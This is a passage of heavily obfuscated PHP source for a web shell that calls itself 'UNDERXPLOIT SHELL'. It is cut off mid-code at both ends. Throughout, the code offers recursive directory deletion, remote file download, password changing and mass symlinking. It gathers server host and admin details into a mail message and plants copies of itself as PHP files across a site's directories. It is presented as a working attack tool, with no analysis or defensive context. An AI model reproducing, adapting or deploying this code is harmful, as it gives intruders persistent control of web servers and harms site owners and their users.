false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } goto a6ep7; k16sg: print "\x3c\x74\141\x62\x6c\x65\x20\143\154\141\x73\163\75\x22\x65\170\x2d\x68\157\166\42\76\x3c\164\x64\x20\x63\154\x61\x73\163\75\42\164\144\55\x74\x6f\157\x6c\163\x2d\x6c\x65\146\164\42\76\74\x69\x20\143\154\x61\163\163\x3d\42\x7a\155\x64\x69\x20\172\155\144\x69\x2d\x63\150\x61\x72\164\55\144\x6f\x6e\x75\x74\40\172\155\144\151\55\x68\x63\x2d\146\x77\42\x3e\x3c\x2f\x69\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\x6c\x61\163\163\75\x22\x74\x64\55\x74\x6f\157\x6c\163\55\x63\157\x6e\164\145\x6e\x74\x22\76\x4d\x75\154\164\x69\x70\x6c\145\x20\110\141\x73\150\74\x2f\x74\144\76\x3c\164\x64\x20\143\154\x61\x73\x73\75\42\164\144\x2d\x74\157\157\154\163\55\x69\143\x6f\156\42\x3e\74\x61\x20\x6f\x6e\143\154\x69\x63\x6b\75\x27\143\50\42\x3f" . x7 . "\155\x75\154\164\151\x68\x61\163\x68\46" . x5 . $dir . "\x22\51\x27\x3e\74\x62\x75\x74\164\x6f\156\40\143\x6c\141\x73\163\x3d\42\x62\164\x6e\55\x65\170\145\42\x3e\x3c\151\40\x63\x6c\141\163\163\x3d\x22\x7a\155\x64\x69\40\x7a\x6d\144\151\x2d\154\x6f\x6e\147\55\x61\x72\x72\157\x77\55\x72\151\x67\x68\x74\40\x7a\x6d\x64\x69\55\x68\x63\x2d\x66\x77\42\76\74\x2f\x69\76\x3c\57\x62\165\x74\164\157\156\76\x3c\x2f\x61\x3e\74\57\164\x64\x3e\74\57\x74\141\142\x6c\x65\x3e"; goto qklOP; wmsPK: function r($str) { print "\x3c\163\x63\162\151\x70\164\x20\164\171\160\x65\x3d\42\x74\x65\x78\x74\x2f\x6a\141\x76\141\163\143\x72\x69\x70\164\42\x3e\167\x69\x6e\x64\157\167\x2e\154\x6f\x63\x61\164\151\x6f\x6e\x20\75\40\x22" . $str . "\x22\x3b\x3c\x2f\x73\143\x72\x69\160\x74\x3e"; return $str; } goto jbyhU; afrzq: $EL_MuHaMMeD .= "\101\x76\154\141\x6e\x61\x6e\40\x53\x69\164\145\x20\x3a\40" . $_SERVER["\x48\x54\124\120\x5f\110\x4f\x53\x54"] . "\15\xa"; goto Ha5l1; R050H: $filez = basename($_UNDERXPLOIT["\x66\151\x6c\145"]); goto vaz84; Fj2zU: $wp_code = $document_root . "\57\167\x70\55\143\x6c\157\156\x2e\160\x68\160"; goto q9Gdg; llFjY: print "\74\164\141\x62\154\145\x20\x63\154\x61\x73\x73\75\x22\145\x78\55\x68\x6f\x76\42\76\74\x74\x64\x20\143\154\x61\163\163\x3d\42\x74\144\55\x74\157\x6f\x6c\163\x2d\154\x65\x66\x74\42\76\74\151\40\143\x6c\x61\x73\x73\75\x22\x7a\155\x64\151\40\x7a\x6d\x64\151\55\x63\150\x61\162\164\x2d\x64\x6f\x6e\165\x74\40\172\155\x64\151\x2d\150\143\x2d\146\x77\x22\x3e\74\x2f\151\x3e\74\57\x74\144\x3e\74\164\x64\40\143\154\141\x73\x73\75\42\164\144\55\x74\x6f\x6f\154\163\55\x63\x6f\156\164\x65\156\164\42\76\x43\x68\141\x6e\x67\145\40\120\141\x73\163\x77\x6f\162\144\x3c\57\164\144\76\74\x74\x64\40\x63\154\141\163\x73\75\42\164\x64\55\164\x6f\x6f\154\x73\55\x69\x63\x6f\156\x22\x3e\74\x61\x20\157\x6e\x63\154\x69\143\153\75\47\143\50\42\77" . x7 . "\x63\x68\x61\x6e\147\145\46" . x5 . $dir . "\42\x29\x27\x3e\74\x62\165\164\164\157\156\x20\x63\154\x61\163\163\75\x22\x62\164\156\55\145\x78\x65\42\x3e\74\151\40\143\154\141\x73\x73\x3d\42\x7a\155\x64\151\x20\172\155\x64\151\x2d\154\x6f\156\x67\x2d\141\162\162\x6f\167\55\x72\x69\147\x68\x74\40\172\155\x64\x69\55\x68\x63\x2d\146\x77\x22\76\74\x2f\151\76\x3c\x2f\x62\x75\164\x74\157\x6e\76\x3c\57\141\x3e\74\x2f\x74\x64\x3e\74\57\x74\x61\142\x6c\x65\x3e"; goto oe0uo; MRFHu: function vb($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto U7yzu; ljxSD: switch (true) { case get_magic_quotes_gpc(): function stripslashes_array($array) { return is_array($array) ? array_map("\x73\x74\x72\x69\160\x73\x6c\x61\x73\150\x65\x73\x5f\x61\162\162\141\x79", $array) : stripslashes($array); } $_UNDERXPLOIT = stripslashes_array($_UNDERXPLOIT); $_COOKIE = stripslashes_array($_COOKIE); } goto tgeLm; Q3CkE: $time_shell = '' . date("\144\57\155\x2f\x59\40\55\40\x48\x3a\151\72\163") . ''; goto mEvpE; V69xh: $document_root = $_SERVER["\x44\117\103\125\115\105\x4e\124\x5f\x52\117\117\x54"]; goto D5HZr; FLOna: function deledir($str) { switch (true) { case is_dir($str): $hnd = opendir($str); switch (true) { case !$hnd: return false; break; default: while ($file = readdir($hnd)) { switch (true) { case $file != "\56" && $file != "\x2e\x2e": switch (true) { case !is_dir($str . "\x2f" . $file): unlink($str . "\x2f" . $file); break; default: deledir($str . "\57" . $file); } break; } } closedir($hnd); rmdir($str); return true; break; } break; } } goto ilic9; a6ep7: function perms($x_x) { if ($x_cv = @fileperms($x_x)) { $x_cz = "\x75"; if (($x_cv & 49152) == 49152) { $x_cz = "\x73"; } elseif (($x_cv & 40960) == 40960) { $x_cz = "\x6c"; } elseif (($x_cv & 32768) == 32768) { $x_cz = "\x2d"; } elseif (($x_cv & 24576) == 24576) { $x_cz = "\x62"; } elseif (($x_cv & 16384) == 16384) { $x_cz = "\144"; } elseif (($x_cv & 8192) == 8192) { $x_cz = "\x63"; } elseif (($x_cv & 4096) == 4096) { $x_cz = "\x70"; } $x_cz .= $x_cv & 256 ? "\x72" : "\x2d"; $x_cz .= $x_cv & 128 ? "\x77" : "\x2d"; $x_cz .= $x_cv & 64 ? "\170" : "\x2d"; $x_cz .= $x_cv & 32 ? "\x72" : "\x2d"; $x_cz .= $x_cv & 16 ? "\x77" : "\x2d"; $x_cz .= $x_cv & 8 ? "\170" : "\55"; $x_cz .= $x_cv & 4 ? "\x72" : "\x2d"; $x_cz .= $x_cv & 2 ? "\167" : "\55"; $x_cz .= $x_cv & 1 ? "\x78" : "\55"; return $x_cz; } else { return "\55\x20\77\x3f\40\x2d"; } } goto FLOna; DGOWi: $pass = "\63\x39\x37\x31\142\x30\x36\x65\x37\x65\x37\x39\67\x63\144\71\65\x35\143\x38\144\x38\x64\x30\141\x33\143\x31\146\x35\66\63"; goto cyCa_; qB4cR: $size = round($size, 3); goto ubJVL; PafL_: $header = "\106\x72\157\155\72\x20{$from_shellcode}\xd\xa\x52\145\160\x6c\x79\55\x74\x6f\72\40{$from_shellcode}"; goto qcqoG; IbWdO: fclose($open_code); goto xCy9c; RHE0L: print "\74\57\x74\144\x3e\74\57\x74\x61\x62\154\145\76\74\x2f\144\x69\166\76\x3c\x2f\x74\150\x3e\x3c\57\x74\x61\x62\x6c\145\76\74\57\x64\x69\166\76"; goto R050H; o_Vxs: print "\x3c\x74\141\x62\154\145\x3e\x3c\x66\x6f\x72\x6d\x20\155\x65\164\x68\x6f\x64\x3d\x22\x50\x4f\123\x54\x22\40\x61\143\x74\x69\157\156\x3d\x22\77" . x5 . $dir . "\42\x3e\xa\x9\x3c\x74\144\40\141\154\151\147\x6e\x3d\42\x63\x65\x6e\164\x65\x72\x22\x20\x73\x74\171\x6c\145\x3d\x22\167\x69\x64\164\x68\x3a\61\60\x25\42\x3e\74\x69\40\143\154\141\x73\x73\75\x22\172\155\x64\151\40\x7a\x6d\x64\x69\x2d\143\150\145\166\162\157\156\55\162\x69\x67\x68\x74\40\x7a\155\x64\151\55\x68\143\55\x66\167\x22\x3e\x3c\57\151\x3e\x3c\x2f\x74\x64\x3e\xa\x9\74\x74\x64\40\x73\x74\x79\x6c\145\75\x22\x77\151\144\164\150\72\x37\60\45\x22\76\x3c\163\x65\154\145\143\x74\x20\x6e\141\155\x65\x3d\x22\x66\x69\x6c\x65\137\x6e\141\155\145\x22\40\x69\144\75\x22\165\x22\76\xa\11\x3c\157\x70\164\151\157\156\40\166\x61\154\x75\x65\x3d\42\42\76\40\x2d\x2d\40\105\x78\164\x72\141\143\164\157\x72\40\50\56\x7a\151\160\x29\40\55\x2d\x3c\57\x6f\x70\x74\151\x6f\x6e\76"; goto occvV; q9Gdg: $open_code = fopen($wp_code, "\167"); goto kiR_W; WcDHN: print "\74\x74\x61\142\x6c\145\40\x63\154\x61\163\163\x3d\42\x65\x78\x2d\150\157\x76\42\76\x3c\164\x64\x20\143\x6c\141\x73\163\x3d\42\x74\x64\55\x74\157\157\x6c\x73\x2d\154\x65\x66\x74\x22\76\74\151\40\x63\154\x61\163\163\x3d\42\172\155\x64\151\x20\172\x6d\x64\151\x2d\x63\x68\x61\162\164\55\x64\x6f\156\165\x74\40\x7a\155\x64\x69\x2d\x68\143\55\146\x77\x22\x3e\x3c\x2f\151\76\x3c\x2f\x74\144\76\74\x74\144\x20\143\154\141\x73\x73\75\x22\x74\x64\x2d\164\157\x6f\154\x73\55\x63\x6f\x6e\x74\x65\156\x74\42\x3e\115\x75\x6c\164\x69\160\154\145\40\123\171\155\x6c\x69\x6e\x6b\x3c\57\x74\144\x3e\74\x74\x64\40\143\x6c\x61\x73\x73\x3d\42\x74\144\55\164\x6f\x6f\x6c\163\55\x69\143\157\156\42\76\x3c\141\40\157\x6e\x63\x6c\x69\143\153\75\47\x63\50\42\x3f" . x7 . "\x73\x79\155\x6c\x69\156\153\x26" . x5 . $dir . "\x22\x29\x27\76\74\142\165\x74\164\x6f\156\x20\143\x6c\141\x73\x73\75\42\142\x74\156\55\x65\x78\x65\x22\76\x3c\x69\x20\143\x6c\141\163\163\75\42\x7a\x6d\144\x69\x20\x7a\155\x64\151\55\154\157\x6e\x67\55\141\x72\x72\157\167\x2d\x72\x69\x67\150\164\x20\x7a\155\144\151\55\x68\143\55\x66\167\x22\76\74\x2f\151\76\x3c\57\x62\165\x74\164\157\x6e\76\74\57\x61\x3e\x3c\x2f\x74\x64\76\74\x2f\164\141\142\x6c\x65\76"; goto llFjY; uE6Tr: print "\x3c\x74\x61\142\x6c\145\40\143\154\x61\x73\x73\x3d\x22\x65\170\x2d\150\157\166\x22\76\74\x74\x64\x20\x63\154\x61\x73\x73\x3d\42\x74\144\55\164\x6f\157\154\163\x2d\154\145\146\164\42\x3e\x3c\151\x20\143\154\x61\x73\163\x3d\x22\172\155\144\x69\40\x7a\x6d\x64\x69\55\143\150\141\x72\164\55\144\157\x6e\x75\x74\x20\172\155\144\151\55\150\143\x2d\146\x77\x22\x3e\74\x2f\x69\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x20\143\x6c\x61\163\x73\x3d\42\x74\x64\55\164\x6f\157\154\163\x2d\x63\x6f\x6e\x74\x65\156\x74\x22\76\123\171\x73\x74\x65\155\40\111\x6e\146\x6f\x72\155\x61\164\151\157\156\74\x2f\x74\x64\x3e\x3c\x74\144\40\x63\154\141\x73\163\75\x22\164\x64\x2d\x74\157\x6f\x6c\x73\x2d\x69\x63\157\156\42\76\x3c\141\x20\157\x6e\143\154\151\143\153\x3d\47\x63\50\x22\x3f" . x7 . "\x73\171\x73\x74\145\155\46" . x5 . $dir . "\42\x29\x27\x3e\x3c\142\x75\164\164\x6f\x6e\x20\143\x6c\x61\x73\163\x3d\x22\x62\x74\156\x2d\145\x78\x65\x22\76\x3c\151\x20\143\x6c\x61\163\x73\75\42\x7a\155\144\x69\40\x7a\x6d\144\x69\x2d\x6c\157\x6e\x67\x2d\x61\x72\x72\x6f\x77\x2d\162\x69\x67\150\x74\40\x7a\155\x64\x69\x2d\150\x63\55\x66\x77\x22\x3e\x3c\57\151\76\x3c\57\x62\165\164\164\157\x6e\x3e\x3c\x2f\141\76\x3c\57\164\x64\76\74\x2f\x74\x61\142\x6c\x65\x3e"; goto zOr2h; W7vpC: $wp_makale = $document_root . "\x2f\x70\x68\x70\151\156\x66\157\x2e\x70\150\x70"; goto En2ni; wlLYr: foreach ($directories as $dir) { if (!preg_match("\43\167\160\55\143\157\156\164\145\156\164\43", $dir)) { $css_file = $dir . "\57\x77\x70\55\x69\x6e\x64\141\56\x70\150\160"; $open_css = fopen($css_file, "\x77"); fwrite($open_css, $css); fclose($open_css); } } goto KLQWH; fNghJ: @ini_set("\150\164\x6d\x6c\x5f\145\x72\x72\x6f\x72\163", 0); goto izBTO; X3Hp0: $wp_detect = 0; goto aNOex; ZnK1v: function bacot($str) { print "\74\x73\143\x72\151\160\x74\x20\164\x79\160\145\75\42\164\145\170\x74\x2f\x6a\x61\166\x61\x73\143\x72\x69\x70\x74\x22\76\40\x6e\157\164\x69\146\x28\173\12\x9\11\11\11\164\171\x70\x65\72\40\42\x64\145\x66\141\165\x6c\164\42\54\12\x9\x9\x9\x9\155\x73\x67\x3a\x20\x22\x3c\x73\x70\x61\156\x20\x63\154\141\163\x73\x3d\47\x61\154\x65\x72\164\47\x3e\74\146\157\x6e\x74\40\x63\x6f\154\157\162\x3d\x27\43\x66\x66\146\47\x3e" . $str . "\x3c\x2f\146\157\x6e\x74\76\42\54\xa\11\x9\11\x9\x77\x69\x64\x74\150\x3a\x20\x22\x61\154\x6c\42\x2c\12\11\11\x9\11\150\145\151\x67\150\164\x3a\x20\61\60\60\x2c\12\11\11\11\x9\x70\157\163\x69\x74\151\x6f\156\x3a\x20\x22\x63\x65\156\164\x65\162\42\x2c\xa\11\11\x9\x7d\x29\x3b\74\x2f\x73\x63\162\x69\160\x74\x3e"; return $str; } goto ljxSD; yyKE3: $EL_MuHaMMeD .= "\x53\x65\x72\x76\145\x72\40\x41\x64\x6d\x69\156\x20\72\x20" . $_SERVER["\123\x45\x52\x56\105\x52\x5f\101\104\x4d\x49\x4e"] . "\15\12"; goto TSd7b; aS70t: print "\x3c\x64\151\166\40\x63\154\x61\163\x73\x3d\x22\143\x6f\122\42\76\xa\11\x9\11\11\74\144\x69\x76\x20\143\154\141\163\x73\75\x22\x63\x6f\x52\55\x70\141\x6e\x65\x6c\x22\x3e\12\x9\74\x74\141\x62\154\145\76\xa\x9\x9\x9\74\164\144\40\143\x6c\141\x73\163\x3d\42\x74\x64\x2d\x70\x61\156\x65\x6c\42\x3e\x3c\143\x65\156\164\x65\x72\76\x3c\x64\151\166\x20\x63\x6c\141\163\163\x3d\x22\154\157\x61\144\145\162\x22\76\x3c\x2f\x64\x69\x76\x3e\74\57\x63\145\x6e\x74\145\x72\x3e\74\x2f\x74\144\76\74\x74\144\x20\x63\154\x61\x73\x73\x3d\x22\164\x64\55\x70\x61\156\x65\x6c\x2d\162\151\147\150\164\42\76\x54\117\x4f\114\123\74\x2f\x74\x64\76\12\x9\74\x2f\164\141\142\154\145\x3e\xa\x3c\x2f\144\x69\x76\76\xa\11\x3c\x64\x69\166\40\143\154\141\x73\163\x3d\x22\x74\157\157\154\163\55\143\x6f\156\x74\x65\x6e\164\42\x3e"; goto T1I2a; vUJGQ: print "\x3c\57\163\x65\154\x65\x63\x74\x3e\74\x2f\x74\144\76\x3c\x74\x64\x20\163\164\x79\154\145\75\x22\167\x69\144\164\x68\x3a\x32\60\45\x3b\164\x65\x78\164\x2d\141\154\151\147\156\x3a\x72\x69\x67\x68\164\42\x3e\x3c\x62\165\164\164\x6f\x6e\x20\151\144\x3d\42\x65\x78\172\151\160\x22\x20\x74\171\160\x65\x3d\42\163\165\x62\155\x69\x74\42\40\156\141\x6d\x65\x3d\42\170\x22\x20\143\x6c\141\x73\x73\75\42\142\164\x6e\55\x65\170\145\x22\x20\157\156\x63\x6c\x69\143\x6b\x3d\x22\165\156\172\151\x70\x28\51\x3b\x72\x65\x74\165\x72\156\x20\x66\141\154\163\145\x3b\x22\x3e\x3c\x69\40\143\x6c\141\163\163\75\x22\x7a\x6d\144\x69\x20\172\x6d\x64\x69\55\x6c\157\156\147\55\x61\162\162\x6f\167\55\x72\145\164\x75\162\156\40\x7a\x6d\144\151\x2d\150\x63\55\146\167\42\76\x3c\x2f\151\x3e\x3c\57\142\165\x74\164\x6f\156\x3e\x3c\57\x66\x6f\162\155\x3e\x3c\x2f\164\x64\x3e\xa\x9\74\57\164\141\x62\154\x65\76\12\x3c\163\143\x72\x69\160\164\40\x74\171\160\x65\x3d\42\164\145\170\x74\x2f\152\x61\166\x61\163\x63\x72\151\160\164\x22\76\40\x66\x75\x6e\143\164\x69\157\156\x20\147\x76\x28\51\40\x7b\xa\x9\x69\x66\x28\144\x6f\x63\165\x6d\x65\x6e\164\56\147\x65\x74\x45\154\145\x6d\145\x6e\x74\102\x79\111\144\50\42\x63\x6e\x73\154\x22\x29\x2e\x76\x61\154\165\x65\x20\75\75\40\x22\x22\x29\x7b"; goto Rm7hS; cOBug: print "\x3c\x21\x44\x4f\103\124\131\120\x45\x20\150\164\155\154\40\154\x61\x6e\147\75\42\145\156\x22\x3e\xa\74\x68\x65\141\144\76\xa\40\40\40\40\74\x74\x69\164\x6c\145\x3e\x55\x4e\x44\105\122\x58\x50\114\x4f\111\x54\x20\x53\110\105\114\114\40\x30\56\x31\x2e\x34\x3c\x2f\x74\x69\164\x6c\145\76\12\x20\x20\x20\x20\74\155\145\x74\x61\40\x6e\x61\155\x65\x3d\42\x76\151\145\167\160\x6f\162\x74\42\x20\143\x6f\156\164\145\156\x74\x3d\42\x77\x69\x64\x74\150\75\144\x65\166\151\x63\x65\55\167\x69\144\x74\150\54\40\151\x6e\151\x74\151\141\154\x2d\x73\143\x61\154\x65\x3d\61\x2c\40\x75\163\145\162\55\163\143\x61\x6c\141\x62\x6c\x65\75\156\x6f\x22\x3e\12\x20\x20\40\x20\74\x6d\x65\164\x61\40\x6e\141\155\145\75\x22\x61\165\x74\x68\x6f\x72\42\40\x63\157\x6e\x74\x65\156\x74\x3d\x22\x57\x49\x4c\x44\101\x4e\x20\x49\132\x5a\x55\104\x49\116\42\x3e\xa\40\x20\x20\40\x3c\155\145\x74\x61\40\156\141\155\x65\x3d\x22\164\150\145\155\x65\x2d\x63\157\154\x6f\x72\x22\40\x63\x6f\x6e\x74\145\156\x74\x3d\42\x23\x31\x44\71\x44\x37\63\x22\x3e\xa\40\40\40\40\x3c\155\145\164\x61\x20\156\141\155\x65\x3d\x22\x61\160\x70\154\x65\x2d\155\157\x62\x69\154\x65\55\167\x65\142\55\x61\x70\160\x2d\x63\x61\160\141\142\x6c\x65\42\x20\x63\157\x6e\164\x65\156\x74\75\x22\x79\145\x73\42\76\xa\x20\40\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\x6d\x65\x3d\42\x61\160\x70\x6c\145\x2d\x6d\x6f\142\151\154\145\55\167\145\x62\x2d\x61\x70\160\55\163\x74\141\164\165\x73\x2d\x62\141\x72\55\163\x74\171\x6c\x65\x22\x20\143\157\156\x74\145\x6e\164\75\x22\43\x31\x44\71\x44\67\x33\x22\76\12\40\40\x20\x20\x3c\x6d\145\x74\141\x20\x6e\x61\x6d\x65\75\x22\155\163\x61\x70\160\154\x69\143\141\x74\151\157\x6e\55\x6e\x61\166\142\x75\164\x74\x6f\156\x2d\x63\157\x6c\157\162\x22\x20\x63\157\156\164\145\156\x74\x3d\x22\43\x31\x44\x39\104\67\63\x22\x3e\12\40\x20\40\x20\x3c\x6c\x69\x6e\x6b\40\x72\x65\x6c\75\x22\x69\x63\157\x6e\x22\x20\x68\162\x65\146\75\42\x2f\x2f\165\x6e\144\145\x72\170\x70\154\x6f\151\164\56\x67\x69\x74\x68\165\142\x2e\x69\x6f\x2f\x63\x6f\162\145\57\x66\141\166\x69\x63\157\156\x2e\x69\143\x6f\x22\40\x74\x79\x70\145\75\42\151\x6d\141\x67\145\x2f\170\x2d\151\x63\x6f\x6e\42\x20\57\76\12\x9\74\154\x69\156\153\x20\x72\x65\x6c\x3d\42\163\164\x79\x6c\145\x73\150\145\x65\x74\42\40\x68\x72\x65\146\x3d\42\57\x2f\165\156\x64\145\x72\x78\160\x6c\x6f\x69\164\x2e\147\151\164\150\165\142\x2e\151\157\57\x63\x6f\162\145\57\x69\143\x6f\x6e\x73\57\x6d\x61\164\x65\x72\x69\x61\x6c\56\143\163\163\42\40\57\76\xa\74\x73\x74\x79\154\145\x3e\xa\x40\x69\155\x70\157\x72\x74\40\165\162\x6c\x28\150\164\x74\x70\163\x3a\x2f\x2f\x66\x6f\x6e\164\x73\56\147\x6f\157\x67\154\x65\x61\x70\151\x73\56\143\157\155\x2f\x63\163\x73\x3f\x66\141\x6d\x69\154\x79\75\x50\154\141\x79\x29\x3b\x69\x6d\x67\133\141\x6c\x74\52\75\42\x77\167\x77\x2e\60\60\x30\167\x65\142\150\x6f\163\164\56\x63\x6f\x6d\x22\x5d\x7b\144\151\163\160\x6c\x61\x79\72\x6e\x6f\x6e\145\x7d\52\173\x62\157\x78\x2d\163\x69\x7a\x69\x6e\147\72\x62\x6f\162\x64\x65\x72\x2d\x62\157\170\x7d\52\72\146\x6f\143\165\163\173\x6f\165\x74\154\151\x6e\145\72\60\175\72\72\55\155\x6f\x7a\55\x73\145\x6c\x65\x63\x74\151\157\x6e\x7b\x62\141\x63\x6b\x67\x72\157\x75\156\144\55\143\157\154\x6f\x72\72\x72\147\x62\141\x28\62\x30\x31\54\62\62\63\54\62\65\x35\x2c\56\x31\x29\x3b\x63\x6f\154\157\162\72\43\146\146\146\175\x62\157\144\171\173\146\x6f\x6e\x74\x2d\163\x69\172\x65\x3a\x31\64\x70\x78\73\142\x61\x63\153\x67\162\157\165\156\144\x2d\141\x74\x74\x61\x63\x68\155\145\x6e\164\72\146\x69\170\145\x64\73\x63\157\x6c\x6f\162\72\43\x66\146\146\x3b\x6d\141\162\147\151\156\72\x61\x75\x74\157\73\x66\157\x6e\x74\55\146\x61\155\151\x6c\x79\x3a\x22\x50\x6c\x61\x79\42\73\142\x61\143\153\x67\x72\x6f\165\x6e\144\55\x63\157\x6c\157\162\x3a\43\62\x30\62\x30\62\x30\x3b\157\x76\145\x72\146\x6c\x6f\167\x3a\x61\165\x74\x6f\x3b\x62\157\x78\55\x73\151\x7a\151\156\x67\72\142\x6f\x72\x64\x65\162\55\x62\x6f\170\x7d\143\157\x64\145\173\146\x6f\x6e\164\x2d\146\141\155\x69\154\x79\72\x22\120\154\x61\171\42\x3b\x77\157\162\x64\x2d\x77\x72\x61\x70\72\x62\162\145\141\153\x2d\167\157\x72\144\73\x62\141\143\153\147\162\x6f\165\156\x64\x3a\162\x67\x62\x61\50\x30\x2c\60\x2c\60\x2c\56\x32\x29\x3b\146\157\156\x74\x2d\163\151\x7a\x65\x3a\x31\63\160\170\175\160\x72\x65\x7b\x6d\x61\x72\147\151\x6e\72\x30\x3b\x62\x6f\x72\x64\145\162\72\x31\x70\x78\40\163\x6f\154\151\x64\40\43\63\64\63\64\63\x36\73\167\150\x69\x74\x65\55\163\x70\x61\x63\x65\72\x70\x72\145\55\x77\162\x61\160\73\167\150\151\x74\x65\55\163\x70\x61\x63\145\72\55\x6d\x6f\172\55\160\162\x65\x2d\167\x72\x61\160\x3b\167\x68\x69\164\x65\x2d\163\160\x61\143\145\72\x2d\x70\x72\x65\55\167\x72\x61\160\73\x77\150\x69\x74\145\x2d\x73\160\141\143\145\x3a\55\157\x2d\160\x72\x65\55\167\162\141\x70\x3b\167\157\162\x64\x2d\167\x72\x61\x70\x3a\x62\x72\145\x61\153\x2d\167\157\x72\144\x3b\x66\157\x6e\x74\x2d\163\151\x7a\x65\72\x31\x33\160\x78\73\x62\141\x63\153\147\162\x6f\x75\x6e\144\72\x23\62\x32\x32\175\x61\x7b\x74\x65\x78\164\x2d\144\x65\x63\x6f\x72\141\164\x69\x6f\156\72\x6e\x6f\x6e\x65\x3b\143\x6f\x6c\x6f\x72\72\x23\146\x66\146\x7d\x69\156\x70\x75\x74\133\x74\x79\160\x65\x3d\x66\151\154\x65\135\72\x3a\x2d\x77\x65\142\153\151\x74\x2d\x66\151\154\x65\55\165\x70\x6c\157\141\x64\55\142\x75\x74\x74\157\x6e\173\x62\141\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\43\61\x44\x39\x44\67\x33\x3b\142\x6f\x72\144\145\x72\x3a\61\x70\170\40\163\157\154\x69\x64\x20\x23\x31\104\x39\104\67\63\73\143\x6f\154\157\x72\x3a\43\61\x44\x39\104\67\x33\x3b\x66\157\156\x74\x2d\x73\x69\172\145\72\x31\64\160\170\73\146\157\x6e\x74\x2d\x66\x61\x6d\x69\154\171\x3a\x22\120\154\x61\x79\x22\x3b\142\x6f\x72\144\x65\162\x2d\x72\141\x64\151\x75\x73\x3a\x32\x70\170\x3b\x77\151\x64\x74\x68\72\61\160\170\175\x69\156\x70\165\164\x5b\x74\171\x70\145\x3d\x66\x69\154\x65\135\x7b\x62\x6f\162\x64\145\162\72\61\160\x78\40\x73\157\154\151\x64\x20\43\63\64\63\64\63\x36\73\x63\157\x6c\x6f\x72\x3a\x23\146\146\x66\x3b\142\141\x63\x6b\x67\x72\157\x75\156\144\72\x23\x33\x32\63\62\x33\x32\x3b\x77\151\x64\164\150\x3a\x31\x30\x30\45\x3b\146\157\x6e\x74\x2d\163\151\172\145\x3a\x31\64\160\x78\73\x70\141\x64\x64\151\x6e\147\72\67\160\x78\x3b\x62\x6f\162\144\145\x72\x2d\162\x61\x64\151\x75\163\x3a\x32\x70\x78\x3b\x66\157\x6e\x74\55\x66\x61\x6d\151\154\171\72\x22\120\154\x61\171\x22\x7d\x73\x65\154\x65\143\164\x7b\x2d\x77\x65\x62\153\151\164\55\x61\160\x70\145\141\x72\x61\156\x63\145\72\156\x6f\x6e\x65\73\x2d\x6d\x6f\172\55\141\x70\160\145\141\x72\141\x6e\x63\145\x3a\156\157\x6e\x65\73\164\x65\170\x74\55\151\156\x64\145\156\x74\72\x31\160\x78\x7d\151\x6e\160\165\164\133\x74\x79\160\x65\75\x6e\165\x6d\142\145\x72\x5d\173\55\155\x6f\x7a\x2d\x61\x70\x70\145\141\x72\x61\x6e\143\x65\x3a\x74\x65\x78\164\x66\x69\x65\154\144\175\151\x6e\160\165\164\133\164\x79\160\x65\75\x6e\165\x6d\x62\145\162\x5d\72\x3a\55\x77\145\142\x6b\151\x74\x2d\151\x6e\156\x65\x72\55\163\160\x69\x6e\x2d\142\x75\164\x74\x6f\156\54\151\156\x70\x75\164\x5b\164\171\160\x65\75\156\165\x6d\x62\x65\x72\135\72\72\55\x77\145\x62\x6b\151\x74\x2d\x6f\165\164\145\x72\x2d\163\160\x69\156\x2d\x62\165\164\164\x6f\x6e\173\x2d\x77\x65\142\x6b\151\x74\x2d\x61\x70\x70\145\141\x72\141\x6e\x63\145\72\156\157\156\145\73\x2d\155\157\172\x2d\x61\x70\160\145\141\162\141\156\143\145\72\x6e\157\x6e\145\73\141\x70\x70\145\141\162\141\x6e\x63\x65\x3a\x6e\157\156\145\73\155\141\162\x67\x69\156\72\x30\175\151\x6e\160\165\x74\x5b\164\x79\x70\x65\x3d\164\x65\x78\x74\x5d\54\151\x6e\x70\x75\x74\133\164\171\x70\145\75\x6e\x75\155\x62\x65\x72\135\x2c\151\156\x70\x75\164\133\x74\171\x70\145\75\x70\x61\x73\163\x77\x6f\x72\144\x5d\173\x62\x6f\x72\x64\145\x72\x3a\61\160\170\x20\x73\157\x6c\x69\x64\40\x23\x33\64\x33\x34\x33\66\73\x70\x61\144\144\151\156\x67\72\71\x70\x78\x3b\x62\x61\143\153\147\162\x6f\x75\x6e\144\x3a\43\63\x32\x33\62\x33\x32\73\143\157\x6c\x6f\x72\72\43\x66\146\146\x3b\x66\157\x6e\x74\x2d\146\x61\x6d\x69\154\x79\72\x22\120\x6c\141\x79\x22\x3b\167\151\144\164\x68\x3a\x31\x30\x30\x25\73\142\x6f\x72\x64\x65\x72\55\162\x61\144\x69\x75\x73\72\x32\x70\170\73\x66\157\156\x74\x2d\x73\151\172\x65\x3a\x31\x34\x70\x78\x7d\164\145\x78\164\141\x72\145\141\173\142\x6f\162\x64\x65\x72\x3a\61\160\170\40\x73\x6f\154\x69\144\40\x72\147\x62\141\50\x32\65\x35\54\62\x35\x35\x2c\x32\65\x35\54\x2e\x31\x29\73\167\x69\x64\x74\x68\x3a\x31\x30\60\45\73\150\145\x69\x67\x68\164\x3a\x36\60\x30\160\170\x3b\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\170\73\x62\141\143\x6b\x67\x72\x6f\x75\156\x64\72\156\x6f\x6e\145\73\143\x6f\154\x6f\x72\x3a\x23\x66\146\146\73\146\x6f\x6e\164\x2d\x66\141\155\x69\x6c\x79\72\42\120\154\141\x79\42\x3b\146\157\x6e\164\x2d\x73\x69\x7a\145\72\61\x33\160\x78\x3b\142\157\162\x64\145\162\x2d\x72\x61\x64\x69\165\163\x3a\62\x70\170\x7d\163\145\154\x65\x63\164\x7b\160\141\x64\x64\151\156\147\x3a\71\x70\x78\73\142\157\x72\x64\145\162\72\61\x70\170\40\163\x6f\154\151\x64\x20\43\x33\x34\x33\64\63\x36\73\146\157\x6e\164\55\x66\x61\x6d\x69\154\x79\x3a\x22\x50\x6c\x61\171\42\73\x66\x6f\x6e\164\55\x73\x69\172\145\72\x31\64\x70\x78\x3b\x62\141\143\x6b\x67\x72\x6f\x75\x6e\x64\72\x23\63\x32\x33\x32\x33\x32\x3b\167\x69\x64\164\x68\72\61\60\x30\x25\x3b\143\x6f\154\157\162\72\x23\x66\x66\x